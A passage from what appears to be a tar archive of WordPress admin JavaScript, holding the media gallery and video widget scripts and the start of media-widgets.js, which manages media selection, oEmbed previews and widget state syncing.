e=a(this);s.handleWidgetAdded(new jQuery.Event("widget-added"),e)}),"complete"===document.readyState?s.setupAccessibleMode():a(window).on("load",function(){s.setupAccessibleMode()}))})},s}(jQuery); js/widgets/media-gallery-widget.min.js 0000644 00000007266 15233246127 0013763 0 ustar 00 /*! This file is auto-generated */ !function(i){"use strict";var a=wp.media.view.MediaFrame.Post.extend({createStates:function(){this.states.add([new wp.media.controller.Library({id:"gallery",title:wp.media.view.l10n.createGalleryTitle,priority:40,toolbar:"main-gallery",filterable:"uploaded",multiple:"add",editable:!0,library:wp.media.query(_.defaults({type:"image"},this.options.library))}),new wp.media.controller.GalleryEdit({library:this.options.selection,editing:this.options.editing,menu:"gallery"}),new wp.media.controller.GalleryAdd])}}),e=i.MediaWidgetModel.extend({}),t=i.MediaWidgetControl.extend({events:_.extend({},i.MediaWidgetControl.prototype.events,{"click .media-widget-gallery-preview":"editMedia"}),initialize:function(e){var t=this;i.MediaWidgetControl.prototype.initialize.call(t,e),_.bindAll(t,"updateSelectedAttachments","handleAttachmentDestroy"),t.selectedAttachments=new wp.media.model.Attachments,t.model.on("change:ids",t.updateSelectedAttachments),t.selectedAttachments.on("change",t.renderPreview),t.selectedAttachments.on("reset",t.renderPreview),t.updateSelectedAttachments(),wp.customize&&wp.customize.previewer&&t.selectedAttachments.on("change",function(){wp.customize.previewer.send("refresh-widget-partial",t.model.get("widget_id"))})},updateSelectedAttachments:function(){var e,t=this,i=t.model.get("ids"),d=_.pluck(t.selectedAttachments.models,"id"),a=_.difference(d,i);_.each(a,function(e){t.selectedAttachments.remove(t.selectedAttachments.get(e))}),_.difference(i,d).length&&(e=wp.media.query({order:"ASC",orderby:"post__in",perPage:-1,post__in:i,query:!0,type:"image"})).more().done(function(){t.selectedAttachments.reset(e.models)})},renderPreview:function(){var e=this,t=e.$el.find(".media-widget-preview"),i=wp.template("wp-media-widget-gallery-preview"),d=e.previewTemplateProps.toJSON();d.attachments={},e.selectedAttachments.each(function(e){d.attachments[e.id]=e.toJSON()}),t.html(i(d))},isSelected:function(){return!this.model.get("error")&&0<this.model.get("ids").length},editMedia:function(){var i,d=this,e=new wp.media.model.Selection(d.selectedAttachments.models,{multiple:!0}),t=d.mapModelToMediaFrameProps(d.model.toJSON());e.gallery=new Backbone.Model(t),t.size&&d.displaySettings.set("size",t.size),i=new a({frame:"manage",text:d.l10n.add_to_widget,selection:e,mimeType:d.mime_type,selectedDisplaySettings:d.displaySettings,showDisplaySettings:d.showDisplaySettings,metadata:t,editing:!0,multiple:!0,state:"gallery-edit"}),(wp.media.frame=i).on("update",function(e){var t=i.state(),e=e||t.get("selection");e&&(e.gallery&&d.model.set(d.mapMediaToModelProps(e.gallery.toJSON())),d.selectedAttachments.reset(e.models),d.model.set({ids:_.pluck(e.models,"id")}))}),i.$el.addClass("media-widget"),i.open(),e&&e.on("destroy",d.handleAttachmentDestroy)},selectMedia:function(){var i,d=this,e=new wp.media.model.Selection(d.selectedAttachments.models,{multiple:!0}),t=d.mapModelToMediaFrameProps(d.model.toJSON());t.size&&d.displaySettings.set("size",t.size),i=new a({frame:"select",text:d.l10n.add_to_widget,selection:e,mimeType:d.mime_type,selectedDisplaySettings:d.displaySettings,showDisplaySettings:d.showDisplaySettings,metadata:t,state:"gallery"}),(wp.media.frame=i).on("update",function(e){var t=i.state(),e=e||t.get("selection");e&&(e.gallery&&d.model.set(d.mapMediaToModelProps(e.gallery.toJSON())),d.selectedAttachments.reset(e.models),d.model.set({ids:_.pluck(e.models,"id")}))}),i.$el.addClass("media-widget"),i.open(),e&&e.on("destroy",d.handleAttachmentDestroy),i.$el.find(":focusable:first").focus()},handleAttachmentDestroy:function(e){this.model.set({ids:_.difference(this.model.get("ids"),[e.id])})}});i.controlConstructors.media_gallery=t,i.modelConstructors.media_gallery=e}(wp.mediaWidgets); js/widgets/media-video-widget.min.js 0000644 00000005216 15233246127 0013423 0 ustar 00 /*! This file is auto-generated */ !function(t){"use strict";var i=wp.media.view.MediaFrame.VideoDetails.extend({createStates:function(){this.states.add([new wp.media.controller.VideoDetails({media:this.media}),new wp.media.controller.MediaLibrary({type:"video",id:"add-video-source",title:wp.media.view.l10n.videoAddSourceTitle,toolbar:"add-video-source",media:this.media,menu:!1}),new wp.media.controller.MediaLibrary({type:"text",id:"add-track",title:wp.media.view.l10n.videoAddTrackTitle,toolbar:"add-track",media:this.media,menu:"video-details"})])}}),e=t.MediaWidgetModel.extend({}),d=t.MediaWidgetControl.extend({showDisplaySettings:!1,oembedResponses:{},mapModelToMediaFrameProps:function(e){e=t.MediaWidgetControl.prototype.mapModelToMediaFrameProps.call(this,e);return e.link="embed",e},fetchEmbed:function(){var t=this,d=t.model.get("url");t.oembedResponses[d]||(t.fetchEmbedDfd&&"pending"===t.fetchEmbedDfd.state()&&t.fetchEmbedDfd.abort(),t.fetchEmbedDfd=wp.apiRequest({url:wp.media.view.settings.oEmbedProxyUrl,data:{url:t.model.get("url"),maxwidth:t.model.get("width"),maxheight:t.model.get("height"),discover:!1},type:"GET",dataType:"json",context:t}),t.fetchEmbedDfd.done(function(e){t.oembedResponses[d]=e,t.renderPreview()}),t.fetchEmbedDfd.fail(function(){t.oembedResponses[d]=null}))},isHostedVideo:function(){return!0},renderPreview:function(){var e,t,d=this,i="",o=!1,a=d.model.get("attachment_id"),s=d.model.get("url"),m=d.model.get("error");(a||s)&&((t=d.selectedAttachment.get("mime"))&&a?_.contains(_.values(wp.media.view.settings.embedMimes),t)||(m="unsupported_file_type"):a||((t=document.createElement("a")).href=s,(t=t.pathname.toLowerCase().match(/\.(\w+)$/))?_.contains(_.keys(wp.media.view.settings.embedMimes),t[1])||(m="unsupported_file_type"):o=!0),o&&(d.fetchEmbed(),d.oembedResponses[s])&&(e=d.oembedResponses[s].thumbnail_url,i=d.oembedResponses[s].html.replace(/\swidth="\d+"/,' width="100%"').replace(/\sheight="\d+"/,"")),t=d.$el.find(".media-widget-preview"),d=wp.template("wp-media-widget-video-preview"),t.html(d({model:{attachment_id:a,html:i,src:s,poster:e},is_oembed:o,error:m})),wp.mediaelement.initialize())},editMedia:function(){var t=this,e=t.mapModelToMediaFrameProps(t.model.toJSON()),d=new i({frame:"video",state:"video-details",metadata:e});(wp.media.frame=d).$el.addClass("media-widget"),e=function(e){t.selectedAttachment.set(e),t.model.set(_.extend(_.omit(t.model.defaults(),"title"),t.mapMediaToModelProps(e),{error:!1}))},d.state("video-details").on("update",e),d.state("replace-video").on("replace",e),d.on("close",function(){d.detach()}),d.open()}});t.controlConstructors.media_video=d,t.modelConstructors.media_video=e}(wp.mediaWidgets); js/widgets/media-widgets.js 0000644 00000123560 15233246127 0011723 0 ustar 00 /** * @output wp-admin/js/widgets/media-widgets.js */ /* eslint consistent-this: [ "error", "control" ] */ /** * @namespace wp.mediaWidgets * @memberOf wp */ wp.mediaWidgets = ( function( $ ) { 'use strict'; var component = {}; /** * Widget control (view) constructors, mapping widget id_base to subclass of MediaWidgetControl. * * Media widgets register themselves by assigning subclasses of MediaWidgetControl onto this object by widget ID base. * * @memberOf wp.mediaWidgets * * @type {Object.<string, wp.mediaWidgets.MediaWidgetModel>} */ component.controlConstructors = {}; /** * Widget model constructors, mapping widget id_base to subclass of MediaWidgetModel. * * Media widgets register themselves by assigning subclasses of MediaWidgetControl onto this object by widget ID base. * * @memberOf wp.mediaWidgets * * @type {Object.<string, wp.mediaWidgets.MediaWidgetModel>} */ component.modelConstructors = {}; component.PersistentDisplaySettingsLibrary = wp.media.controller.Library.extend(/** @lends wp.mediaWidgets.PersistentDisplaySettingsLibrary.prototype */{ /** * Library which persists the customized display settings across selections. * * @constructs wp.mediaWidgets.PersistentDisplaySettingsLibrary * @augments wp.media.controller.Library * * @param {Object} options - Options. * * @return {void} */ initialize: function initialize( options ) { _.bindAll( this, 'handleDisplaySettingChange' ); wp.media.controller.Library.prototype.initialize.call( this, options ); }, /** * Sync changes to the current display settings back into the current customized. * * @param {Backbone.Model} displaySettings - Modified display settings. * @return {void} */ handleDisplaySettingChange: function handleDisplaySettingChange( displaySettings ) { this.get( 'selectedDisplaySettings' ).set( displaySettings.attributes ); }, /** * Get the display settings model. * * Model returned is updated with the current customized display settings, * and an event listener is added so that changes made to the settings * will sync back into the model storing the session's customized display * settings. * * @param {Backbone.Model} model - Display settings model. * @return {Backbone.Model} Display settings model. */ display: function getDisplaySettingsModel( model ) { var display, selectedDisplaySettings = this.get( 'selectedDisplaySettings' ); display = wp.media.controller.Library.prototype.display.call( this, model ); display.off( 'change', this.handleDisplaySettingChange ); // Prevent duplicated event handlers. display.set( selectedDisplaySettings.attributes ); if ( 'custom' === selectedDisplaySettings.get( 'link_type' ) ) { display.linkUrl = selectedDisplaySettings.get( 'link_url' ); } display.on( 'change', this.handleDisplaySettingChange ); return display; } }); /** * Extended view for managing the embed UI. * * @class wp.mediaWidgets.MediaEmbedView * @augments wp.media.view.Embed */ component.MediaEmbedView = wp.media.view.Embed.extend(/** @lends wp.mediaWidgets.MediaEmbedView.prototype */{ /** * Initialize. * * @since 4.9.0 * * @param {Object} options - Options. * @return {void} */ initialize: function( options ) { var view = this, embedController; // eslint-disable-line consistent-this wp.media.view.Embed.prototype.initialize.call( view, options ); if ( 'image' !== view.controller.options.mimeType ) { embedController = view.controller.states.get( 'embed' ); embedController.off( 'scan', embedController.scanImage, embedController ); } }, /** * Refresh embed view. * * Forked override of {wp.media.view.Embed#refresh()} to suppress irrelevant "link text" field. * * @return {void} */ refresh: function refresh() { /** * @class wp.mediaWidgets~Constructor */ var Constructor; if ( 'image' === this.controller.options.mimeType ) { Constructor = wp.media.view.EmbedImage; } else { // This should be eliminated once #40450 lands of when this is merged into core. Constructor = wp.media.view.EmbedLink.extend(/** @lends wp.mediaWidgets~Constructor.prototype */{ /** * Set the disabled state on the Add to Widget button. * * @param {boolean} disabled - Disabled. * @return {void} */ setAddToWidgetButtonDisabled: function setAddToWidgetButtonDisabled( disabled ) { this.views.parent.views.parent.views.get( '.media-frame-toolbar' )[0].$el.find( '.media-button-select' ).prop( 'disabled', disabled ); }, /** * Set or clear an error notice. * * @param {string} notice - Notice. * @return {void} */ setErrorNotice: function setErrorNotice( notice ) { var embedLinkView = this, noticeContainer; // eslint-disable-line consistent-this noticeContainer = embedLinkView.views.parent.$el.find( '> .notice:first-child' ); if ( ! notice ) { if ( noticeContainer.length ) { noticeContainer.slideUp( 'fast' ); } } else { if ( ! noticeContainer.length ) { noticeContainer = $( '<div class="media-widget-embed-notice notice notice-error notice-alt" role="alert"></div>' ); noticeContainer.hide(); embedLinkView.views.parent.$el.prepend( noticeContainer ); } noticeContainer.empty(); noticeContainer.append( $( '<p>', { html: notice })); noticeContainer.slideDown( 'fast' ); } }, /** * Update oEmbed. * * @since 4.9.0 * * @return {void} */ updateoEmbed: function() { var embedLinkView = this, url; // eslint-disable-line consistent-this url = embedLinkView.model.get( 'url' ); // Abort if the URL field was emptied out. if ( ! url ) { embedLinkView.setErrorNotice( '' ); embedLinkView.setAddToWidgetButtonDisabled( true ); return; } if ( ! url.match( /^(http|https):\/\/.+\// ) ) { embedLinkView.controller.$el.find( '#embed-url-field' ).addClass( 'invalid' ); embedLinkView.setAddToWidgetButtonDisabled( true ); } wp.media.view.EmbedLink.prototype.updateoEmbed.call( embedLinkView ); }, /** * Fetch media. * * @return {void} */ fetch: function() { var embedLinkView = this, fetchSuccess, matches, fileExt, urlParser, url, re, youTubeEmbedMatch; // eslint-disable-line consistent-this url = embedLinkView.model.get( 'url' ); if ( embedLinkView.dfd && 'pending' === embedLinkView.dfd.state() ) { embedLinkView.dfd.abort(); } fetchSuccess = function( response ) { embedLinkView.renderoEmbed({ data: { body: response } }); embedLinkView.controller.$el.find( '#embed-url-field' ).removeClass( 'invalid' ); embedLinkView.setErrorNotice( '' ); embedLinkView.setAddToWidgetButtonDisabled( false ); }; urlParser = document.createElement( 'a' ); urlParser.href = url; matches = urlParser.pathname.toLowerCase().match( /\.(\w+)$/ ); if ( matches ) { fileExt = matches[1]; if ( ! wp.media.view.settings.embedMimes[ fileExt ] ) { embedLinkView.renderFail(); } else if ( 0 !== wp.media.view.settings.embedMimes[ fileExt ].indexOf( embedLinkView.controller.options.mimeType ) ) { embedLinkView.renderFail(); } else { fetchSuccess( '<!--success-->' ); } return; } // Support YouTube embed links. re = /https?:\/\/www\.youtube\.com\/embed\/([^/]+)/; youTubeEmbedMatch = re.exec( url ); if ( youTubeEmbedMatch ) { url = 'https://www.youtube.com/watch?v=' + youTubeEmbedMatch[ 1 ]; // silently change url to proper oembed-able version. embedLinkView.model.attributes.url = url; } embedLinkView.dfd = wp.apiRequest({ url: wp.media.view.settings.oEmbedProxyUrl, data: { url: url, maxwidth: embedLinkView.model.get( 'width' ), maxheight: embedLinkView.model.get( 'height' ), discover: false }, type: 'GET', dataType: 'json', context: embedLinkView }); embedLinkView.dfd.done( function( response ) { if ( embedLinkView.controller.options.mimeType !== response.type ) { embedLinkView.renderFail(); return; } fetchSuccess( response.html ); }); embedLinkView.dfd.fail( _.bind( embedLinkView.renderFail, embedLinkView ) ); }, /** * Handle render failure. * * Overrides the {EmbedLink#renderFail()} method to prevent showing the "Link Text" field. * The element is getting display:none in the stylesheet, but the underlying method uses * uses {jQuery.fn.show()} which adds an inline style. This avoids the need for !important. * * @return {void} */ renderFail: function renderFail() { var embedLinkView = this; // eslint-disable-line consistent-this embedLinkView.controller.$el.find( '#embed-url-field' ).addClass( 'invalid' ); embedLinkView.setErrorNotice( embedLinkView.controller.options.invalidEmbedTypeError || 'ERROR' ); embedLinkView.setAddToWidgetButtonDisabled( true ); } }); } this.settings( new Constructor({ controller: this.controller, model: this.model.props, priority: 40 })); } }); /** * Custom media frame for selecting uploaded media or providing media by URL. * * @class wp.mediaWidgets.MediaFrameSelect * @augments wp.media.view.MediaFrame.Post */ component.MediaFrameSelect = wp.media.view.MediaFrame.Post.extend(/** @lends wp.mediaWidgets.MediaFrameSelect.prototype */{ /** * Create the default states. * * @return {void} */ createStates: function createStates() { var mime = this.options.mimeType, specificMimes = []; _.each( wp.media.view.settings.embedMimes, function( embedMime ) { if ( 0 === embedMime.indexOf( mime ) ) { specificMimes.push( embedMime ); } }); if ( specificMimes.length > 0 ) { mime = specificMimes; } this.states.add([ // Main states. new component.PersistentDisplaySettingsLibrary({ id: 'insert', title: this.options.title, selection: this.options.selection, priority: 20, toolbar: 'main-insert', filterable: 'dates', library: wp.media.query({ type: mime }), multiple: false, editable: true, selectedDisplaySettings: this.options.selectedDisplaySettings, displaySettings: _.isUndefined( this.options.showDisplaySettings ) ? true : this.options.showDisplaySettings, displayUserSettings: false // We use the display settings from the current/default widget instance props. }), new wp.media.controller.EditImage({ model: this.options.editImage }), // Embed states. new wp.media.controller.Embed({ metadata: this.options.metadata, type: 'image' === this.options.mimeType ? 'image' : 'link', invalidEmbedTypeError: this.options.invalidEmbedTypeError }) ]); }, /** * Main insert toolbar. * * Forked override of {wp.media.view.MediaFrame.Post#mainInsertToolbar()} to override text. * * @param {wp.Backbone.View} view - Toolbar view. * @this {wp.media.controller.Library} * @return {void} */ mainInsertToolbar: function mainInsertToolbar( view ) { var controller = this; // eslint-disable-line consistent-this view.set( 'insert', { style: 'primary', priority: 80, text: controller.options.text, // The whole reason for the fork. requires: { selection: true }, /** * Handle click. * * @ignore * * @fires wp.media.controller.State#insert() * @return {void} */ click: function onClick() { var state = controller.state(), selection = state.get( 'selection' ); controller.close(); state.trigger( 'insert', selection ).reset(); } }); }, /** * Main embed toolbar. * * Forked override of {wp.media.view.MediaFrame.Post#mainEmbedToolbar()} to override text. * * @param {wp.Backbone.View} toolbar - Toolbar view. * @this {wp.media.controller.Library} * @return {void} */ mainEmbedToolbar: function mainEmbedToolbar( toolbar ) { toolbar.view = new wp.media.view.Toolbar.Embed({ controller: this, text: this.options.text, event: 'insert' }); }, /** * Embed content. * * Forked override of {wp.media.view.MediaFrame.Post#embedContent()} to suppress irrelevant "link text" field. * * @return {void} */ embedContent: function embedContent() { var view = new component.MediaEmbedView({ controller: this, model: this.state() }).render(); this.content.set( view ); } }); component.MediaWidgetControl = Backbone.View.extend(/** @lends wp.mediaWidgets.MediaWidgetControl.prototype */{ /** * Translation strings. * * The mapping of translation strings is handled by media widget subclasses, * exported from PHP to JS such as is done in WP_Widget_Media_Image::enqueue_admin_scripts(). * * @type {Object} */ l10n: { add_to_widget: '{{add_to_widget}}', add_media: '{{add_media}}' }, /** * Widget ID base. * * This may be defined by the subclass. It may be exported from PHP to JS * such as is done in WP_Widget_Media_Image::enqueue_admin_scripts(). If not, * it will attempt to be discovered by looking to see if this control * instance extends each member of component.controlConstructors, and if * it does extend one, will use the key as the id_base. * * @type {string} */ id_base: '', /** * Mime type. * * This must be defined by the subclass. It may be exported from PHP to JS * such as is done in WP_Widget_Media_Image::enqueue_admin_scripts(). * * @type {string} */ mime_type: '', /** * View events. * * @type {Object} */ events: { 'click .notice-missing-attachment a': 'handleMediaLibraryLinkClick', 'click .select-media': 'selectMedia', 'click .placeholder': 'selectMedia', 'click .edit-media': 'editMedia' }, /** * Show display settings. * * @type {boolean} */ showDisplaySettings: true, /** * Media Widget Control. * * @constructs wp.mediaWidgets.MediaWidgetControl * @augments Backbone.View * @abstract * * @param {Object} options - Options. * @param {Backbone.Model} options.model - Model. * @param {jQuery} options.el - Control field container element. * @param {jQuery} options.syncContainer - Container element where fields are synced for the server. * * @return {void} */ initialize: function initialize( options ) { var control = this; Backbone.View.prototype.initialize.call( control, options ); if ( ! ( control.model instanceof component.MediaWidgetModel ) ) { throw new Error( 'Missing options.model' ); } if ( ! options.el ) { throw new Error( 'Missing options.el' ); } if ( ! options.syncContainer ) { throw new Error( 'Missing options.syncContainer' ); } control.syncContainer = options.syncContainer; control.$el.addClass( 'media-widget-control' ); // Allow methods to be passed in with control context preserved. _.bindAll( control, 'syncModelToInputs', 'render', 'updateSelectedAttachment', 'renderPreview' ); if ( ! control.id_base ) { _.find( component.controlConstructors, function( Constructor, idBase ) { if ( control instanceof Constructor ) { control.id_base = idBase; return true; } return false; }); if ( ! control.id_base ) { throw new Error( 'Missing id_base.' ); } } // Track attributes needed to renderPreview in it's own model. control.previewTemplateProps = new Backbone.Model( control.mapModelToPreviewTemplateProps() ); // Re-render the preview when the attachment changes. control.selectedAttachment = new wp.media.model.Attachment(); control.renderPreview = _.debounce( control.renderPreview ); control.listenTo( control.previewTemplateProps, 'change', control.renderPreview ); // Make sure a copy of the selected attachment is always fetched. control.model.on( 'change:attachment_id', control.updateSelectedAttachment ); control.model.on( 'change:url', control.updateSelectedAttachment ); control.updateSelectedAttachment(); /* * Sync the widget instance model attributes onto the hidden inputs that widgets currently use to store the state. * In the future, when widgets are JS-driven, the underlying widget instance data should be exposed as a model * from the start, without having to sync with hidden fields. See <https://core.trac.wordpress.org/ticket/33507>. */ control.listenTo( control.model, 'change', control.syncModelToInputs ); control.listenTo( control.model, 'change', control.syncModelToPreviewProps ); control.listenTo( control.model, 'change', control.render ); // Update the title. control.$el.on( 'input change', '.title', function updateTitle() { control.model.set({ title: $( this ).val().trim() }); }); // Update link_url attribute. control.$el.on( 'input change', '.link', function updateLinkUrl() { var linkUrl = $( this ).val().trim(), linkType = 'custom'; if ( control.selectedAttachment.get( 'linkUrl' ) === linkUrl || control.selectedAttachment.get( 'link' ) === linkUrl ) { linkType = 'post'; } else if ( control.selectedAttachment.get( 'url' ) === linkUrl ) { linkType = 'file'; } control.model.set( { link_url: linkUrl, link_type: linkType }); // Update display settings for the next time the user opens to select from the media library. control.displaySettings.set( { link: linkType, linkUrl: linkUrl }); }); /* * Copy current display settings from the widget model to serve as basis * of customized display settings for the current media frame session. * Changes to display settings will be synced into this model, and * when a new selection is made, the settings from this will be synced * into that AttachmentDisplay's model to persist the setting changes. */ control.displaySettings = new Backbone.Model( _.pick( control.mapModelToMediaFrameProps( _.extend( control.model.defaults(), control.model.toJSON() ) ), _.keys( wp.media.view.settings.defaultProps ) ) ); }, /** * Update the selected attachment if necessary. * * @return {void} */ updateSelectedAttachment: function updateSelectedAttachment() { var control = this, attachment; if ( 0 === control.model.get( 'attachment_id' ) ) { control.selectedAttachment.clear(); control.model.set( 'error', false ); } else if ( control.model.get( 'attachment_id' ) !== control.selectedAttachment.get( 'id' ) ) { attachment = new wp.media.model.Attachment({ id: control.model.get( 'attachment_id' ) }); attachment.fetch() .done( function done() { control.model.set( 'error', false ); control.selectedAttachment.set( attachment.toJSON() ); }) .fail( function fail() { control.model.set( 'error', 'missing_attachment' ); }); } }, /** * Sync the model attributes to the hidden inputs, and update previewTemplateProps. * * @return {void} */ syncModelToPreviewProps: function syncModelToPreviewProps() { var control = this; control.previewTemplateProps.set( control.mapModelToPreviewTemplateProps() ); }, /** * Sync the model attributes to the hidden inputs, and update previewTemplateProps. * * @return {void} */ syncModelToInputs: function syncModelToInputs() { var control = this; control.syncContainer.find( '.media-widget-instance-property' ).each( function() { var input = $( this ), value, propertyName; propertyName = input.data( 'property' ); value = control.model.get( propertyName ); if ( _.isUndefined( value ) ) { return; } if ( 'array' === control.model.schema[ propertyName ].type && _.isArray( value ) ) { value = value.join( ',' ); } else if ( 'boolean' === control.model.schema[ propertyName ].type ) { value = value ? '1' : ''; // Because in PHP, strval( true ) === '1' && strval( false ) === ''. } else { value = String( value ); } if ( input.val() !== value ) { input.val( value ); input.trigger( 'change' ); } }); }, /** * Get template. * * @return {Function} Template. */ template: function template() { var control = this; if ( ! $( '#tmpl-widget-media-' + control.id_base + '-control' ).length ) { throw new Error( 'Missing widget control template for ' + control.id_base ); } return wp.template( 'widget-media-' + control.id_base + '-control' ); }, /** * Render template. * * @return {void} */ render: function render() { var control = this, titleInput; if ( ! control.templateRendered ) { control.$el.html( control.template()( control.model.toJSON() ) ); control.renderPreview(); // Hereafter it will re-render when control.selectedAttachment changes. control.templateRendered = true; } titleInput = control.$el.find( '.title' ); if ( ! titleInput.is( document.activeElement ) ) { titleInput.val( control.model.get( 'title' ) ); } control.$el.toggleClass( 'selected', control.isSelected() ); }, /** * Render media preview. * * @abstract * @return {void} */ renderPreview: function renderPreview() { throw new Error( 'renderPreview must be implemented' ); }, /** * Whether a media item is selected. * * @return {boolean} Whether selected and no error. */ isSelected: function isSelected() { var control = this; if ( control.model.get( 'error' ) ) { return false; } return Boolean( control.model.get( 'attachment_id' ) || control.model.get( 'url' ) ); }, /** * Handle click on link to Media Library to open modal, such as the link that appears when in the missing attachment error notice. * * @param {jQuery.Event} event - Event. * @return {void} */ handleMediaLibraryLinkClick: function handleMediaLibraryLinkClick( event ) { var control = this; event.preventDefault(); control.selectMedia(); }, /** * Open the media select frame to chose an item. * * @return {void} */ selectMedia: function selectMedia() { var control = this, selection, mediaFrame, defaultSync, mediaFrameProps, selectionModels = []; if ( control.isSelected() && 0 !== control.model.get( 'attachment_id' ) ) { selectionModels.push( control.selectedAttachment ); } selection = new wp.media.model.Selection( selectionModels, { multiple: false } ); mediaFrameProps = control.mapModelToMediaFrameProps( control.model.toJSON() ); if ( mediaFrameProps.size ) { control.displaySettings.set( 'size', mediaFrameProps.size ); } mediaFrame = new component.MediaFrameSelect({ title: control.l10n.add_media, frame: 'post', text: control.l10n.add_to_widget, selection: selection, mimeType: control.mime_type, selectedDisplaySettings: control.displaySettings, showDisplaySettings: control.showDisplaySettings, metadata: mediaFrameProps, state: control.isSelected() && 0 === control.model.get( 'attachment_id' ) ? 'embed' : 'insert', invalidEmbedTypeError: control.l10n.unsupported_file_type }); wp.media.frame = mediaFrame; // See wp.media(). // Handle selection of a media item. mediaFrame.on( 'insert', function onInsert() { var attachment = {}, state = mediaFrame.state(); // Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview. if ( 'embed' === state.get( 'id' ) ) { _.extend( attachment, { id: 0 }, state.props.toJSON() ); } else { _.extend( attachment, state.get( 'selection' ).first().toJSON() ); } control.selectedAttachment.set( attachment ); control.model.set( 'error', false ); // Update widget instance. control.model.set( control.getModelPropsFromMediaFrame( mediaFrame ) ); }); // Disable syncing of attachment changes back to server (except for deletions). See <https://core.trac.wordpress.org/ticket/40403>. defaultSync = wp.media.model.Attachment.prototype.sync; wp.media.model.Attachment.prototype.sync = function( method ) { if ( 'delete' === method ) { return defaultSync.apply( this, arguments ); } else { return $.Deferred().rejectWith( this ).promise(); } }; mediaFrame.on( 'close', function onClose() { wp.media.model.Attachment.prototype.sync = defaultSync; }); mediaFrame.$el.addClass( 'media-widget' ); mediaFrame.open(); // Clear the selected attachment when it is deleted in the media select frame. if ( selection ) { selection.on( 'destroy', function onDestroy( attachment ) { if ( control.model.get( 'attachment_id' ) === attachment.get( 'id' ) ) { control.model.set({ attachment_id: 0, url: '' }); } }); } /* * Make sure focus is set inside of modal so that hitting Esc will close * the modal and not inadvertently cause the widget to collapse in the customizer. */ mediaFrame.$el.find( '.media-frame-menu .media-menu-item.active' ).focus(); }, /** * Get the instance props from the media selection frame. * * @param {wp.media.view.MediaFrame.Select} mediaFrame - Select frame. * @return {Object} Props. */ getModelPropsFromMediaFrame: function getModelPropsFromMediaFrame( mediaFrame ) { var control = this, state, mediaFrameProps, modelProps; state = mediaFrame.state(); if ( 'insert' === state.get( 'id' ) ) { mediaFrameProps = state.get( 'selection' ).first().toJSON(); mediaFrameProps.postUrl = mediaFrameProps.link; if ( control.showDisplaySettings ) { _.extend( mediaFrameProps, mediaFrame.content.get( '.attachments-browser' ).sidebar.get( 'display' ).model.toJSON() ); } if ( mediaFrameProps.sizes && mediaFrameProps.size && mediaFrameProps.sizes[ mediaFrameProps.size ] ) { mediaFrameProps.url = mediaFrameProps.sizes[ mediaFrameProps.size ].url; } } else if ( 'embed' === state.get( 'id' ) ) { mediaFrameProps = _.extend( state.props.toJSON(), { attachment_id: 0 }, // Because some media frames use `attachment_id` not `id`. control.model.getEmbedResetProps() ); } else { throw new Error( 'Unexpected state: ' + state.get( 'id' ) ); } if ( mediaFrameProps.id ) { mediaFrameProps.attachment_id = mediaFrameProps.id; } modelProps = control.mapMediaToModelProps( mediaFrameProps ); // Clear the extension prop so sources will be reset for video and audio media. _.each( wp.media.view.settings.embedExts, function( ext ) { if ( ext in control.model.schema && modelProps.url !== modelProps[ ext ] ) { modelProps[ ext ] = ''; } }); return modelProps; }, /** * Map media frame props to model props. * * @param {Object} mediaFrameProps - Media frame props. * @return {Object} Model props. */ mapMediaToModelProps: function mapMediaToModelProps( mediaFrameProps ) { var control = this, mediaFramePropToModelPropMap = {}, modelProps = {}, extension; _.each( control.model.schema, function( fieldSchema, modelProp ) { // Ignore widget title attribute. if ( 'title' === modelProp ) { return; } mediaFramePropToModelPropMap[ fieldSchema.media_prop || modelProp ] = modelProp; }); _.each( mediaFrameProps, function( value, mediaProp ) { var propName = mediaFramePropToModelPropMap[ mediaProp ] || mediaProp; if ( control.model.schema[ propName ] ) { modelProps[ propName ] = value; } }); if ( 'custom' === mediaFrameProps.size ) { modelProps.width = mediaFrameProps.customWidth; modelProps.height = mediaFrameProps.customHeight; } if ( 'post' === mediaFrameProps.link ) { modelProps.link_url = mediaFrameProps.postUrl || mediaFrameProps.linkUrl; } else if ( 'file' === mediaFrameProps.link ) { modelProps.link_url = mediaFrameProps.url; } // Because some media frames use `id` instead of `attachment_id`. if ( ! mediaFrameProps.attachment_id && mediaFrameProps.id ) { modelProps.attachment_id = mediaFrameProps.id; } if ( mediaFrameProps.url ) { extension = mediaFrameProps.url.replace( /#.*$/, '' ).replace( /\?.*$/, '' ).split( '.' ).pop().toLowerCase(); if ( extension in control.model.schema ) { modelProps[ extension ] = mediaFrameProps.url; } } // Always omit the titles derived from mediaFrameProps. return _.omit( modelProps, 'title' ); }, /** * Map model props to media frame props. * * @param {Object} modelProps - Model props. * @return {Object} Media frame props. */ mapModelToMediaFrameProps: function mapModelToMediaFrameProps( modelProps ) { var control = this, mediaFrameProps = {}; _.each( modelProps, function( value, modelProp ) { var fieldSchema = control.model.schema[ modelProp ] || {}; mediaFrameProps[ fieldSchema.media_prop || modelProp ] = value; }); // Some media frames use attachment_id. mediaFrameProps.attachment_id = mediaFrameProps.id; if ( 'custom' === mediaFrameProps.size ) { mediaFrameProps.customWidth = control.model.get( 'width' ); mediaFrameProps.customHeight = control.model.get( 'height' ); } return mediaFrameProps; }, /** * Map model props to previewTemplateProps. * * @return {Object} Preview Template Props. */ mapModelToPreviewTemplateProps: function mapModelToPreviewTemplateProps() { var control = this, previewTemplateProps = {}; _.each( control.model.schema, function( value, prop ) { if ( ! value.hasOwnProperty( 'should_preview_update' ) || value.should_preview_update ) { previewTemplateProps[ prop ] = control.model.get( prop ); } }); // Templates need to be aware of the error. previewTemplateProps.error = control.model.get( 'error' ); return previewTemplateProps; }, /** * Open the media frame to modify the selected item. * * @abstract * @return {void} */ editMedia: function editMedia() { throw new Error( 'editMedia not implemented' ); } }); /** * Media widget model. * * @class wp.mediaWidgets.MediaWidgetModel * @augments Backbone.Model */ component.MediaWidgetModel = Backbone.Model.extend(/** @lends wp.mediaWidgets.MediaWidgetModel.prototype */{ /** * Id attribute. * * @type {string} */ idAttribute: 'widget_id', /** * Instance schema. * * This adheres to JSON Schema and subclasses should have their schema * exported from PHP to JS such as is done in WP_Widget_Media_Image::enqueue_admin_scripts(). * * @type {Object.<string, Object>} */ schema: { title: { type: 'string', 'default': '' }, attachment_id: { type: 'integer', 'default': 0 }, url: { type: 'string', 'default': '' } }, /** * Get default attribute values. * * @return {Object} Mapping of property names to their default values. */ defaults: function() { var defaults = {}; _.each( this.schema, function( fieldSchema, field ) { defaults[ field ] = fieldSchema['default']; }); return defaults; }, /** * Set attribute value(s). * * This is a wrapped version of Backbone.Model#set() which allows us to * cast the attribute values from the hidden 